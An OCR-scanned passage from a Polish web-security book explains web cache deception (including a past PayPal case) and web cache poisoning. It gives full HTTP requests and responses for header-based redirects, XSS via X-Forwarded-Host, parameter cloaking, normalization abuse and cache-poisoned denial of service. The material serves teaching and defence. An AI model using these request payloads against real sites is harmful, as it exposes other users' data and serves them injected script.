statycznego prowadzi adres koriczacy sie rozszerzeniem z zestawu: .css, .js, .jpg,
.gif, .ico, .png, .docx, .pdf, xls i kilka innych'®. Za plik statyczny nie zostanie uzna-
ny plik z rozszerzeniem .php. Jak jednak zostanie potraktowany zasob dostepny
pod adresem https://example.com/profile.php/fake.jpg? Ot6z w przypadku
domyslnej konfiguracji Apache (z mod_php) zadanie przestane do serwera doce-
lowego zostanie obstuzone przez plik profile.php (czyli tak samo, jakby to bylo
zadanie https://example.com/profile.php) (rysunek 9). Jednak w przeciwien-
stwie do adresu koniczacego sie na .php serwer pamieci podrecznej zachowa wy-
generowang odpowiedz (poniewaz konczy sie na .jpg, a zatem z jego perspektywy
jest to plik statyczny) i zwrdci jej kopie przy kolejnych zadaniach dotyczacych tego
samego adresu. Podobna sztuczke mozna zastosowa¢ w aplikacjach javowych przy
uzyciu srednika zamiast ukosnika (tj. https://example.com/profile;fake.jpg).
Tak dodany ciag znakéw traktowany jest jako dodatkowy parametr $ciezki (ang. path
parameter)'® %, W analogiczny sposoéb mogg sie zachowywac¢ réwniez aplikacje
napisane w innych jezykach oraz inne konstrukcje adreséw URL, zaleznie od kon-
figuracji aplikacji i serwera aplikacyjnego.

OSZUKANIE PAMIECI PODRECZNEJ

Technike oszukania pamieci podrecznej (ang. web cache deception) opracowat,
nadat jej nazwe i po raz pierwszy przedstawit Omer Gil w 2017 roku®'. W skrécie
atak ten polega na zmuszeniu serwera do zapisania w pamieci podrecznej poufnych
danych innego uzytkownika aplikacji poprzez wykorzystanie zle skonfigurowanych
regut pamieci podrecznej i/lub niezgodnosci w interpretacji pewnych zjawisk po-
miedzy serwerem posredniczacym a docelowym. Kazdy z tych serwer6w z osobna
moze mie¢ poprawng konfiguracje, jednoczesnie mariaz tych konfiguracji moze sie
okaza¢ niebezpieczny. Oszukanie pamieci podrecznej polega na wykonaniu naj-
pierw przez uzytkownika-ofiare pewnej akcji, w wyniku ktérej pewien zaséb zo-
stanie zapisany w pamieci podrecznej, a dopiero potem po ten zapisany zasob siega
atakujacy (rysunek 7). W tym rodzaju ataku zazwyczaj konieczna jest interakcja
uzytkownika (ofiary).



Oszukanie pamieci podrecznej

Przygotowanie ataku oszukania pamieci podrecznej wymaga zidentyfikowania
zasobu, ktéry jest zachowywany we wspotdzielonej pamieci podrecznej i jednoczes-
nie zawiera poufne informacje na temat uzytkownika. Przykladowe warunki, ktore
musza by¢ spetnione, aby omawiana podatnos¢ byta mozliwa, moga by¢ nastepu-
jace (rysunek 9):
» Mechanizm pamieci podrecznej musi by¢ skonfigurowany tak, by zapisy-
wal w pamieci podrecznej zasoby na podstawie rozszerzenia widocznego
w linii zadania (czyli wylacznie na podstawie adresu URL), ignorujac na-
gléwki zabraniajace zapisywania danego zasobu oraz typ jego zawarto$ci
(Content-Type).

» Serwer docelowy musi zwraca¢ zawarto$¢ pliku /profile.php dla adresow
w stylu www.example.com/profile.php/fake.jpg (lub analogiczna mozli-
wo$¢ w zaleznosci od uzytego jezyka i platformy).

Inng receptq na sukces ataku bedzie spelnienie nastepujacych warunkow?:

» Strony bledéw sa zapisywane we wspoétdzielonej pamieci podrecznej.

» Serwer docelowy zwraca zawarto$¢ strony btedu takiej jak 404 Not Found
z poufnymi danymi uzytkownika, np. w nagltéwku strony informacje o tym,
kto jest aktualnie zalogowany. I tutaj wazna uwaga: istotne z punktu widzenia
atakujacego dane na takich stronach niekoniecznie beda widoczne na pierw-
szy rzut oka, moga ukrywac sie w kodzie HTML odpowiedzi, np. jako dane
w formacie JSON.

Ponadto w obu powyzszych wariantach ofiara musi by¢ zalogowana podczas od-
wiedzania spreparowanego adresu URL, a w kluczu pamieci podrecznej dla zapisy-
wanych typow zasobow (plikéw statycznych, bledéw) nie moga by¢ uwzgledniane
zadne dane autoryzacyjne.

Response from http://www.example.com:80/profile.php/fake.jpg
ST TN o

pretty [EEN Render \n  Actions v

1 HTTP/1.1 200 OK

2 Cache-Control: no-store, max-age=0

3 Content-Type: text/html; charset=UTF-8
T pate: oSunm, Pr HEE §]

5 Expires: Sun, 18 Apr 2021 17:34:26 GMT
6

5

8

» Server: Apache
Vary: Accept-Encoding
! Connection: close
9 ¥-Content-Encoding-Over-Network: gzip
10 Content-Length: 1256

12 <!doctype html>

13 <html>

14 <head>

15 <title>Profile</title>

17 <meta charset="utf-g8" />

Rysunek 9. Serwer dla zasobu /profile.php/fake.jpg zwraca zawartosc¢ pliku
/profile.php
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Przyjrzyjmy sie temu szczeg6towo na przyktadzie prawdziwego btedu bezpie-
czenstwa znalezionego w ustudze PayPal®. Strona gtéwna uzytkownika jest do-
stepna pod adresem https://www.paypal.com/myaccount/home i sa na niej wi-
doczne informacje na temat zalogowanego uzytkownika, m.in. imie, stan konta
i dane wykonanych transakcji. Poniewaz jest to dynamiczny zaséb przypisany do
konkretnego uzytkownika, nie jest on zapisywany w pamieci podrecznej. Jednak
zmodyfikowanie adresu poprzez dodanie ukosnika oraz nieistniejacej nazwy pliku
zakoriczonej na jedno z rozszerzen podlegajacych zapisywaniu w pamieci podrecz-
nej pozwolito na oszukanie serwera pamieci podrecznej. Scenariusz ataku byt na-
stepujacy (rysunek 10):

1.
2.

10.

11.

12.

13.

Ofiara jest zalogowana na swoim koncie PayPal.

Atakujacy wysyta do ofiary spreparowany adres strony gtéwnej:
https://www.paypal.com/myaccount/home/malicious3.css, ktory zawie-
ra na koncu dodatkowy ciag /malicious3.css symulujacy zaséb statyczny.
Istotne jest, ze atakujacy nie odwiedzil jeszcze tego adresu.

Adres nie wyglada podejrzanie, wiec ofiara na niego wchodzi. Zatem od ofia-
ry wychodzi zadanie, ktére najpierw trafia do serwera pamieci podrecznej.
Serwer pamieci podrecznej nie znajduje klucza pamieci podrecznej pasujace-
go do danego zadania — kopia zasobu nie jest zapisana na serwerze pamieci
podrecznej.

Serwer pamieci podrecznej przesyta zadanie do serwera docelowego.

Serwer docelowy generuje odpowiedz jako zawartosc¢:
https://www.paypal.com/myaccount/home, ignorujac dodatkowy ciag
/malicious3.css. Wygenerowana odpowiedz zawiera poufne dane na temat
zalogowanej ofiary.

Serwer docelowy odsyla wygenerowana odpowiedZ do serwera pamieci
podrecznej.

Serwer pamieci podrecznej widzi rozszerzenie .css na koncu i decyduje, ze
jest to plik statyczny. W efekcie zapisuje kopie odpowiedzi.

Serwer pamieci podrecznej przesyla otrzymang odpowiedz do ofiary, dla kto-
rej nie ma to znaczenia, bo przeciez zna swoje dane.

Docieramy do sedna ataku: atakujacy wchodzi na przygotowany uprzednio ad-
res https://www.paypal.com/myaccount/home/malicious3.css, czyli od
atakujacego wychodzi zZadanie, ktore najpierw trafia do serwera pamieci pod-
recznej, analogicznie jak w przypadku dziatania ofiary w kroku 3.

Tym razem jednak serwer pamieci podrecznej znajduje klucz pamieci pod-
recznej pasujacy do wystanego zadania — kopia zasobu zostata zapisana we
wspotdzielonej pamieci podrecznej w kroku 8.

Serwer pamieci podrecznej zwraca atakujacemu zapisang kopie zasobu — zadanie
wysltane przez atakujacego nigdy nie trafia do serwera docelowego.
Atakujacy odczytuje odpowiedz otrzymanag na swoje zadanie, uzyskujac do-
step do poufnych danych ofiary — w tym przypadku do imienia, stanu konta,
danych wykonanych transakcji PayPal i innych.


https://www.paypal.com/myaccount/home/malicious3.css
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Rysunek 10. Mechanizm oszukania pamieci podrecznej na przyktadzie kradziezy
danych innego uzytkownika serwisu PayPal

Oszukanie pamieci podrecznej w analogiczny sposob byto réwniez mozliwe w apli-
kacji internetowej Vanilla Forums®, a takze na portalu Medium?®. Temu drugiemu
przypadkowi przyjrzymy sie blizej. Ot6z na wspomnianej powyzej stronie byly za-
pisywane zasoby, ktére wygladaly jak pliki statyczne, ale wylacznie dla katalogu
gléwnego, czyli adresy takie jak https://medium.com/niceImage.png. Na szcze-
Scie (dla badacza bezpieczenistwa) strona profilowa uzytkownika byla wyswietlana
pod tego typu adresem. Poprzez zmiane nazwy uzytkownika na yuval.png adres
strony profilowej tego uzytkownika stawat sie adresem ,,pliku” statycznego w kata-
logu gtéwnym, a mianowicie wygladat tak: https://medium.com/@yuval.png. Gdy
ofiara weszta na taki adres, zwrécona jej odpowiedz byta zapisywana we wspoétdzie-
lonej pamieci podrecznej, a tym samym dostepna réwniez dla atakujacego.

W najmniej groZnym wariancie tej podatnosci zostanie zdemaskowane co naj-
wyzej imie lub login ofiary. Wszystko zalezy od tego, co zawiera odpowiedz za-
chowana w pamieci podrecznej. Poza wyciekiem danych mozna uzyska¢ tokeny
anty-CSRF, odpowiedzi na pytania bezpieczenstwa itp. W skrajnych przypadkach,
gdy z jakiego$ powodu identyfikator sesji przechowywany jest w ciele odpowiedzi,
moze doj$¢ do podszycia sie pod ofiare, a nawet przejecia jej konta.

ZATRUCIE ZEWNETRZNEJ PAMIECI PODRECZNEJ

Technika zatrucia pamieci podrecznej (ang. web cache poisoning) dlugo uwazana
byta za zagrozenie wylacznie teoretyczne® ?’. Ztudzenie to trwato az do 2018 roku,
gdy swoje obszerne badania opublikowat James Kettle?®. W skrdcie, atak ten polega
na zmuszeniu mechanizmu pamieci podrecznej do zapisania niebezpiecznych da-
nych, ktére nastepnie zostaja udostepnione uprawnionym uzytkownikom aplikacji,
a zatem — odwrotnie niz w poprzednich przyktadach — do pamieci podrecznej naj-
pierw zaglada atakujacy, a dopiero po nim inny uzytkownik stajacy sie ofiarg ataku
(rysunek 8). Atak ten zazwyczaj nie wymaga interakcji uzytkownika (ofiary).

Przygotowanie ataku zatrucia pamieci podrecznej sktada sie z dwdch faz. W pierw-
szej atakujacy musi znalez¢ sposob na wywotlanie odpowiedzi od serwera konicowego,
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ktéra zawiera w sobie niebezpieczng zawarto$¢. W drugiej poszukiwany jest sposéb
na zachowanie tej odpowiedzi w pamieci podrecznej np. serwera posredniczacego
i w rezultacie zwrdécenie przez niego tej odpowiedzi réwniez innym uzytkownikom
odwiedzajacym dang strone. Konsekwencje skutecznego ataku bedq zalezaty gtéwnie
od podatnosci znalezionej w pierwszej fazie, natomiast jego zasieg — od zachowania
zaobserwowanego w drugiej fazie.
Przygotowanie ataku zatrucia pamieci podrecznej wymaga zidentyfikowania:
» niekluczowych zmiennych (np. nagléwkéw), ktore bedq skutkowa¢ pewnym
niebezpiecznym zachowaniem aplikacji;
» kluczowych zmiennych (klucza pamieci podrecznej), ktére powoduja zapisa-
nie danej zatrutej odpowiedzi w pamieci podrecznej.

Warto do kazdego zadania dodawa¢ nadmiarowy unikalny parametr o losowej nazwie
(ang. cache buster). Parametr taki spowoduje generowanie za kazdym razem no-
wej odpowiedzi od serwera docelowego, co pozwoli na identyfikacje niekluczo-
wych zmiennych. W przeciwnym razie, nawet przy uzyciu wiasciwej niekluczowej
zmiennej, mozna tego nie zauwazy¢, gdy zapisana wczesniej odpowiedz zostanie
zwrocona z pamieci serwera posredniczacego. Ponadto przypadkowe natrafienie
zwyczajnych uzytkownikéw na taki adres bedzie mato prawdopodobne, wiec pod-
czas testow na aplikacjach produkcyjnych bedzie mozna unikna¢ nieplanowanego
zaserwowania zatrutych odpowiedzi rzeczywistym uzytkownikom aplikacji.

Po przyswojeniu teorii przyjrzyjmy sie kilku przyktadom. We wszystkich poniz-
szych kluczowe zmienne zaznaczono kolorem zielonym, a wszystkie pozostate ele-
menty to niekluczowe zmienne.

Prosty przykiad

Zalézmy, ze wystanie nastepujacego zadania HTTP:

GET / HTTP/1.1
Host: example.com

X-Forwarded-Host: sekurak.pl
zwraca nastepujaca odpowiedz:

HTTP/1.1 302

Content-Length: ©

Location: https://sekurak.pl
X-Cache: MISS

Jak wida¢, nagltéwek X-Forwarded-Host jest odbity (odzwierciedlony, ang. reflec-
ted) w odpowiedzi. Nie ma jednak mozliwo$ci zmuszenia przegladarki innego uzyt-
kownika, by wyslala taki nagléwek. Atak wydaje sie zatem mato interesujacy. Jesli
jednak system posredniczacy zachowuje odpowiedzZ i dopasowuje ja tylko na pod-
stawie metody, linii zadania oraz nagltéwka Host, jest szansa, Ze spreparowana przez
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atakujacego odpowiedZ zostanie zaserwowana réwniez innym uzytkownikom, na-
wet jesli ich zadania nie bedq zawiera¢ dodatkowego nagltéwka X-Forwarded-Host.
W takim przypadku — przy kolejnym zadaniu:

GET / HTTP/1.1

Host: example.com
nastapi dopasowanie zasobu z pamieci podrecznej i zostanie zwrécona odpowiedz:

HTTP/1.1 302

Content-Length: ©

Location: https://sekurak.pl
X-Cache: HIT

Wszyscy uzytkownicy odwiedzajacy strone gtéwng zostang przekierowani na stro-
ne podstawiong przez atakujacego.

(Not so) Self XSS

Podatnosci XSS znaleZ¢ mozna niemalze w kazdej aplikacji webowej. Czasem
jednak powierzchnia ataku, ktéra taka podatnos¢ oferuje, jest bezuzyteczna, ponie-
waz jest to tzw. self XSS, czyli podatnos$¢ XSS, ktéra atakujacy moze wykonac wy-
facznie na samym sobie.

Zmodyfikujmy nieco nasz poprzedni przyktad. Oto mamy zZadanie:

GET / HTTP/1.1
Host: example.com

X-Forwarded-Host: sekurak.pl
oraz odpowiedz:

HTTP/1.1 200
[...]

<html>

<head>

<title>Podazaj za biatym kroélikiem</title>

<link rel="icon" type="image/x-icon" href="https://sekurak.pl/favicon.ico">
</head>

<body>

[...]

</body>

</html>
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Jak wida¢, ponownie nagléwek X-Forwarded-Host jest odbity w odpowiedzi.
Tym razem w innym miejscu, ktére pozwala na wczytanie grafiki matej ikony (fav-
icon). Aby uzyska¢ podatnos$¢ XSS, mozna zmodyfikowa¢ zgdanie nastepujaco:

GET / HTTP/1.1
Host: example.com

X-Forwarded-Host: s"><script>alert(1l)</script>
Woéwecezas odpowiedz bedzie wygladac tak:

HTTP/1.1 200
[...]

<html>

<head>

<title>Podazaj za biatym krélikiem</title>

<link rel="icon" type="image/x-icon" href="https://s"><script>alert(1)</
script>/favicon.ico">

</head>

<body>

[...]

</body>

</html>

Efektem wys$wietlenia tej odpowiedzi w przegladarce bedzie wykonanie wstrzyk-
nietego kodu JavaScript. Jednak w takiej wersji atak mozna przeprowadzi¢ gléwnie
na sobie i najlepiej z narzedziem typu proxy. Mato praktyczne i mato wygodne.

Sytuacja zdecydowanie sie zmieni, gdy konicowa aplikacja bedzie korzystac¢
z serwera pamieci podrecznej. Pierwsze zadanie bedzie wyglada¢ tak samo jak po-
wyzej, tj.:

GET / HTTP/1.1
Host: example.com

X-Forwarded-Host: s"><script>alert(1)</script>

Z kolei w odpowiedzi wida¢ nagtéwek X-Cache o warto$ci MISS, co oznacza, Ze
zadanie zostato obstuzone przez serwer docelowy:

HTTP/1.1 200
X-Cache: MISS

[...]

<html>
<head>
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<title>Podazaj za biatym krélikiem</title>

<link rel="icon" type="image/x-icon" href="https://s"><script>alert(1)</
script>/favicon.ico">

</head>

<body>

[...]

</body>

</html>

Jednak przy kolejnym zadaniu, ktére dotyczy tego samego zasobu, serwer pamieci
podrecznej uzna, zZe ma juz zapisang kopie odpowiedzi na to zadanie, i zwréci wilas-
nie ja, bez niepokojenia serwera docelowego. Zatem na zadanie niezawierajace juz
dodatkowego nagtowka:

GET / HTTP/1.1

Host: example.com

zostanie zwrdcona zapisana odpowiedz (o czym $wiadczy nagléwek X-Cache: HIT)
zawierajaca wczesniej wstrzykniety kod JavaScript:

HTTP/1.1 200
X-Cache: HIT

[...]

<html>

<head>

<title>Podazaj za biatym krélikiem</title>

<link rel="icon" type="image/x-icon" href="https://s"><script>alert(1)</
script>/favicon.ico">

</head>

<body>

[...]

</body>

</html>

Voila!

Spotkatam sie réwniez z przykladami odbijania w odpowiedzi nagléwka Referer.
Najczesciej mamy tu do czynienia z wykonaniem odbitego XSS (ang. reflected XSS),
ale zatrucie pamieci podrecznej pozwala nieco podrasowac te podatnos$¢. Skuteczne
jej wykonanie nie wymaga juz koniecznos$ci naklonienia nieSwiadomego uzytkow-
nika do klikniecia w hipertacze spreparowane przez atakujacego. W skrajnych przy-
padkach ofiarg stanie sie kazdy, kto wejdzie na dana (pod)strone.
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Filtrowanie parametrow

Jesli chodzi o parametry, nawet te wystepujace w adresie URL, to nie wszystkie
muszq by¢ uznawane za kluczowe. Niektdre z nich sa uznawane za niekluczowe,
poniewaz nie majq znaczenia dla aplikacji koncowej, gdy stuza wylacznie do celow
analitycznych, wyswietlania personalizowanych reklam itp. Dobrymi kandydata-
mi do sprawdzenia pod tym katem beda parametry UTM (ang. Urchin Tracking
Module). Na przyklad moze sie okaza¢, ze w adresie https://example.com/post
.php?foo=bar&utm_content=whatever parametr utm_content jest ignorowany,
a zatem dla systemu pamieci podrecznej powyzszy adres URL bedzie réwnowazny
adresowi https://example.com/post.php?foo=bar. Jesli przy zadaniu jednego
z nich odpowiedz zostanie zachowana w pamieci podrecznej, to ta zachowana od-
powiedz zostanie zwrécona réwniez przy zadaniu drugiego z nich.

Zat6zmy, ze pelny adres URL jest widoczny w odpowiedzi jako dane w forma-
cie JSON. Wyslanie ponizszego Zadania:

GET /post.php?foo=bar HTTP/1.1

Host: www.example.com
zwrdci nastepujaca odpowiedz:

HTTP/1.1 200

Content-Type: text/html; charset=utf-8
X-Cache: MISS

[...]

[...]

<script id="data" type="application/json">
{"url":"https://www.example.com/post.php?foo=bar"}
</script>

[...]
Zatem atakujacy moze wysta¢ nastepujace zadanie:

GET /post.php?page=1&utm_content=</script><script>alert(1)</script><script>
HTTP/1.1

Host: www.example.com
a w odpowiedzi serwera odbity zostanie wstrzykniety kod HTML/JavaScript:

HTTP/1.1 200
Content-Type: text/html; charset=utf-8
X-Cache: MISS

[...]
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[...]

<script id="data" type="application/json">
"url":"https://www.example.com/post.php?page=1&utm_content=</
script><script>alert(1)</script><script>"}

</script>

[...]

Efekt? Poniewaz parametr utm_content nie nalezy do klucza pamieci podrecznej,
pomimo usuniecia go z adresu URL nadal widoczny jest w odpowiedzi, ktéra teraz
zZwracana jest z serwera pamieci podrecznej. Kazdy, kto odwiedzi dany wpis, czyli
wysle zadanie:

GET /post.php?page=1 HTTP/1.1

Host: www.example.com
otrzyma zachowang odpowiedz z wstrzyknietym kodem HTML/JavaScript:

HTTP/1.1 200
Content-Type: text/html; charset=utf-8
X-Cache: HIT

[...]

[...]

<script id="data" type="application/json">
"url":"https://www.example.com/post.php?page=1&utm_content=</
script><script>alert(1l)</script><script>"}

</script>

[...]

Taka sama odpowiedZ zostanie wystana réwniez do wszystkich innych uzytkow-
nikéw, ktorzy wejda na te podstrone, nawet jesli w adresie dodatkowo znajdzie sie
parametr utm_content, i to niezaleznie od jego wartosci.

Filtrowanie w niektérych przypadkach mozna dodatkowo potaczy¢ z réznicami
interpretacji pomiedzy serwerem posredniczgcym a docelowym w sposobie rozdzie-
lania parametréw w linii zadania. Platforma programistyczna Ruby on Rails pozwa-
la na rozdzielenie parametréw zaréwno znakiem &, jak i ;. Dodatkowo w sytuacji
gdy nazwa parametru zostanie powtérzona, Ruby on Rails przyjmuje warto$¢ ostat-
niego wystapienia danego parametru. Zbierajac to wszystko razem, mozna wystac¢
zadanie®:

GET /jsonp?callback=safe&utm_content=whatever;callback=alert(1)// HTTP/1.1

Host: www.example.com
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Serwer docelowy przyjmie nastepujace parametry oraz ich warto$ci:

parametr: utm_content warto$¢: whatever
parametr: callback warto$¢: alert(1)//

Serwer pamieci podrecznej, ktory uzywa tylko znaku & do rozdzielania parametréw,
zobaczy nastepujace parametry oraz ich wartosci:

parametr: callback warto$¢: safe
parametr: utm_content warto$¢: whatever;callback=alert(1)//

Gdy zadanie trafi do serwera docelowego (parametr callback=alert(1)//), wyge-
neruje on nastepujaca odpowiedz:

HTTP/1.1 200 OK

Content-Type: application/javascript; charset=UTF-8
X-Cache: MISS

[...]

alert(1)//[...]

ktéra zostanie zapisana na serwerze pamieci podrecznej z kluczem www. example.com/
jsonp?callback=safe.

Gdy nastepnie w trakcie zwyklego korzystania z aplikacji dowolny uzytkownik
wygeneruje jak najbardziej bezpieczne zadanie:

GET /jsonp?callback=safe HTTP/1.1

Host: www.example.com

otrzyma zapisang odpowiedZ z serwera pamieci podrecznej (parametr callback=safe)
zawierajaca niebezpieczng zawartosc:

HTTP/1.1 200 OK

Content-Type: application/javascript; charset=UTF-8
X-Cache: HIT

[...]

alert(1)//[...]

Jak wida¢, pozwala to wykorzysta¢ podatno$¢ XSS w zupelnie nowy, nieznany wcze-
Sniej sposob. Aplikacje zazwyczaj nie daja wyboru w kwestii adresu dolgczanego
pliku JSONP, a bezposredni dostep do pliku nie powoduje podatnosci ze wzgledu
na zwracany typ danych (Content-Type: application/javascript). Podatno$é¢
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powstata, poniewaz w efekcie zatrucia pamieci podrecznej nastapito zwrécenie nie-
bezpiecznej zawarto$ci pod narzucony logika aplikacji adres.

Normalizacja

Innym przeksztalceniem, ktére moze sie zdarzy¢ systemowi pamieci podrecz-
nej, jest normalizacja. Przyjmijmy, Ze w aplikacji istnieje podatnos¢ XSS w wy-
niku odbicia w ciele odpowiedzi niezmienionej warto$ci jednego z parametrow
(ang. reflected XSS). Zdarza sie, ze takiej podatnosci nie da sie w praktyce wyko-
rzystat. Wspotczesne przegladarki zastepuja istotne z punktu widzenia atakujacego
znaki ich odpowiednikami w kodowaniu URL (ang. URL encoding). Gdy uzytkow-
nik przejdzie pod podrzucony mu adres:

www . example.com/search?g=<script>alert(1)</script>

wybrane znaki zostang automatycznie zamienione przez przegladarke i w istocie
zostanie wystane zadanie dotyczace nastepujacego adresu:

www . example.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E

Jesli ani serwer docelowy, ani aplikacja nie dekoduje otrzymanych warto$ci, znale-
ziona podatnos$¢ jest bezuzyteczna, gdyz otrzymana odpowiedz bedzie miata postac:

HTTP/1.1 200
[...]

<html>

<head>

<title>Wyniki wyszukiwania</title>

</head>

<body>

Wyniki wyszukiwania dla frazy: %3Cscript%3Ealert(1)%3C/script%3E
</body>

</html>

Niektére implementacje systeméw pamieci podrecznej normalizuja kluczowe zmien-
ne, a tym samym oba wyzej wymienione adresy zostang sprowadzone do tego same-
go klucza pamieci podrecznej. Takie zachowanie mozna wykorzysta¢ w ponizszym
scenariuszu.

Atakujacy, korzystajac z narzedzia typu proxy, wysyla nastepujace zadanie:

GET /search?g=<script>alert(1l)</script> HTTP/1.1

Host: www.example.com
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Podany kod HTML/JavaScript zostanie odbity w odpowiedzi:

HTTP/1.1 200
X-Cache: MISS

[...]

<html>

<head>

<title>Wyniki wyszukiwania</title>

</head>

<body>

Wyniki wyszukiwania dla frazy: <script>alert(1)</script>
</body>

</html>

Nastepnie atakujacy przekonuje ofiare do przej$cia pod adres:
www.example.com/search?q=<script>alert(1)</script>

ktéry w wyniku automatycznego kodowania zastosowanego w przegladarce zosta-
nie wystany jako:

www . example.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
a zatem zostanie wystane zadanie:

GET /search?q=%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1

Host: www.example.com

Niemniej ze wzgledu na normalizacje serwer pamieci podrecznej uzna, zZe jest to ten sam
klucz pamieci podrecznej i bez pytania serwera docelowego zwréci zapisana kopie, czyli:

HTTP/1.1 200
X-Cache: HIT

[...]

<html>

<head>

<title>Wyniki wyszukiwania</title>

</head>

<body>

Wyniki wyszukiwania dla frazy: <script>alert(1)</script>
</body>

</html>
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W ten sposdb w przegladarce ofiary wykonana zostaje ,,bezuzyteczna” podat-
nos¢ XSS.

Moze zdarzy¢ sie tez sytuacja odwrotna. Pierwsze zadanie, ktére trafi do serwera
oryginalnego, zostanie obstuzone w sposéb bezpieczny — przekazane dane zostana
poprawnie zakodowane i osadzone w kontekscie, w ktérym sg umieszczone. Jed-
nak kolejne zadania, ktdre trafia do serwera posredniczacego, zostang obstuzone
w sposob niebezpieczny. Zapisana odpowiedz bedzie zawierata oryginalnie przesta-
ne dane, bez odpowiedniego kodowania, a tym samym aplikacja bedzie podatna na
atak XSS (rysunek 11).

LN Intruder attack 7
Results Target Positions Payloads Options
Fiter: Showing all tems @
Request Status Length X-Cache: MISS X-Cache: HIT Wyniki wyszukiwania dla
4] 200 382 frazy: WO03cscriptwi03ealert(1)\wi03c/scriptu003e
1 200 an frazy: <script=alert{1)</script=
2 200 371 frazy: =script=alert{1)=/script=
3 200 3™ frazy: <script=alert{1)</script>
4 200 371 frazy: <script=alert{1)</script=
5 200 371 frazy: <script=alerti1)</script>
6 200 37 frazy: <script-alert{1)=/script-
7 200 371 frazy: <script=alert{1)</script>
8 200 Tl frazy: <script=alert{1)</script>
Request Response
prety EEU Render \n  Actions v Select extension... v

¥-Cache: HIT

Vary: Accept-Encoding

Connection: close

Content-Type: text/html; charset=UTF-8
X-Content-Encoding-0Over-Network: gzip
Content-Length: 136

ISRr e X

1
11 <html>

12 <head>

13 <title>Wyniki wyszukiwania</title>

14 </head>

15 <bkody>

16 Wyniki wyszukiwania dla frazy: <scriptralert(l)</script></body>
17 </html>

®{§} i“il Search... | 0 matches
Finished

Rysunek 11. Oryginalna odpowiedz jest poprawnie zakodowana, kopie zwracane
z pamieci podrecznej juz nie (Burp Suite, Intruder)

Odmowa ustugi

Wszystkie dzialania nakierowane na to, by poprzez zatrucie pamieci podrecz-
nej w dowolny sposéb zablokowa¢ dostep do aplikacji, otrzymaty zbiorcza nazwe
Cache-Poisoned Denial-of-Service (CPDoS)*, czyli odmowa ustugi spowodowana
zatruciem pamieci podrecznej. Zasadniczo pierwszy prosty przyklad, kiedy nagto-
wek X-Forwarded-Host powodowat przekierowanie do dowolnie wybranej dome-
ny, rowniez mozna zaliczy¢ do tej kategorii. Warto pamieta¢, ze przekierowanie na
inng domene (istniejacq lub nie) uniemozliwia dostep do zaatakowanej aplikacji.

Odmowe ustugi mozna uzyskac¢ na wiele sposobéw i najczesciej nie wigza sie
one z zadng dodatkowa korzyscia (jak przekierowanie na kontrolowana przez sie-
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bie domene czy XSS). Aplikacje internetowe napisane w stylu REST®' korzystaja
z r6znorodnos$ci metod HTTP, takich jak GET, POST, PUT, DELETE. Niestety, sporo
ustug posrednich oferuje wsparcie tylko dla GET i POST, a pozostate metody sa blo-
kowane. Aby poradzi¢ sobie z ta niedogodnoscia, wiele platform programistycz-
nych wspiera obstuge nagléwka X-HTTP-Method-Override. Nagltéwek ten pozwala
w zadaniach typu GET lub POST przemyci¢ inng metode HTTP. Gdy Zadanie dotrze
do serwera docelowego, oryginalna metoda zostanie nadpisana metoda pobrana
z nagléwka X-HTTP-Method-Override i w tej formie trafi do obstuzenia w aplikacji.
Z punktu widzenia aplikacji ponizsze zadanie:

PUT /user/2 HTTP/1.1
Host: example.com

Content-Type: application/json
{"foo" : "bar"}
jest rownowazne nastepujacemu:

POST /user/2 HTTP/1.1

Host: example.com
Content-Type: application/json
X-HTTP-Method-Override: PUT

{"foo":"bar"}

Z kolei z punktu widzenia systemu pamieci podrecznej, dla ktérego nagltéwek X-HTTP-
-Method-Override nie wchodzi w sktad klucza pamieci podrecznej, powyzsze zada-
nia bedq dwoma réznymi zadaniami, poniewaz r6znia sie uzyta metodqa HTTP.

A zatem atakujacy moze wystac¢ zadanie, ktore dla systemu pamieci podrecznej
bedzie wygladac jak zwyczajne pobranie zasobu, podczas gdy w aplikacji bedzie
obstugiwana metoda z dodatkowego nagltowka:

GET /index.php HTTP/1.1
Host: example.com
X-HTTP-Method-Override: PUT

Zalézmy, ze w aplikacji dla Sciezki /index.php nie jest obstugiwana metoda PUT,
co spowoduje zwrdcenie komunikatu btedu:

HTTP/1.1 405 Method Not Allowed
X-Cache: MISS

[...]

405 Not Allowed



Zatrucie zewnetrznej pamieci podrecznej

Kazda kolejna préba dostania sie do tego zasobu, czyli wystanie zadania GET
(bez dodatkowego nagtéwka X-HTTP-Method-Override):

GET /index.php HTTP/1.1

Host: example.com

réowniez zakonczy sie komunikatem bledu, poniewaz tym razem zostanie zwrécona
zawarto$¢ zapisana w pamieci podrecznej:

HTTP/1.1 405 Method Not Allowed
X-Cache: HIT

[...]
405 Not Allowed

co rownowazne jest z zablokowaniem dostepu do aplikacji.

Inny ciekawy przyklad wystepowatl w systemie zarzadzania treScia WordPress,
ktéry od wersji 4.7 ma domyslnie wiaczone REST API*. Charakterystyczne dla tego
interfejsu jest to, ze w odpowiedzi w nagtéwku Access-Control-Allow-Origin od-
bita jest kazda warto$¢ podana w nagltéwku Origin zadania.

Po wystaniu zadania:

GET /wp-json/ HTTP/1.1
Host: api.example.com

Origin: https://sekurak.pl
zostanie zwrdcona odpowiedz:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://sekurak.pl

[...]

Jesli taki serwis jest schowany za ustlugg pamieci podrecznej, a nagléwek Origin

nie zostanie dodany do klucza pamieci podrecznej, zadania z odbitq warto$cia na-

gléwka Origin zostang zachowane w pamieci podrecznej, a nastepnie zwracane

w odpowiedzi na kolejne zadania z innymi wartoSciami nagtéwka Origin®.
Podsumowujac, atakujacy wysyta zadanie:

GET /wp-json/ HTTP/1.1
Host: api.example.com

Origin: https://sekurak.pl

Odpowiedz zawiera odbita warto$¢ nagtéwka Origin:
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HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://sekurak.pl
X-Cache: MISS

[...]

Po chwili do REST API przychodzi Zadanie z uprawnionego Zrédta, czyli z domeny
aplikacji, ktéra korzysta z tego API:

GET /wp-json/ HTTP/1.1
Host: api.example.com

Origin: https://example.com

Na to Zadanie zostanie zwrécona wersja zachowana w pamieci podrecznej z zatru-
tym nagléwkiem Access-Control-Allow-Origin:

HTTP/1.1 200 OK

Access-Control-Allow-Origin: https://sekurak.pl
X-Cache: HIT

[...]

Nie bedzie mozliwe skorzystanie z tego API w aplikacji webowej, poniewaz przegla-
darka zaprotestuje, Ze zostata ztamana reguta tego samego pochodzenia (ang. Same-
-Origin Policy) (rysunek 12). Tym samym zaburzona zostala dostepnos¢ aplikacji.
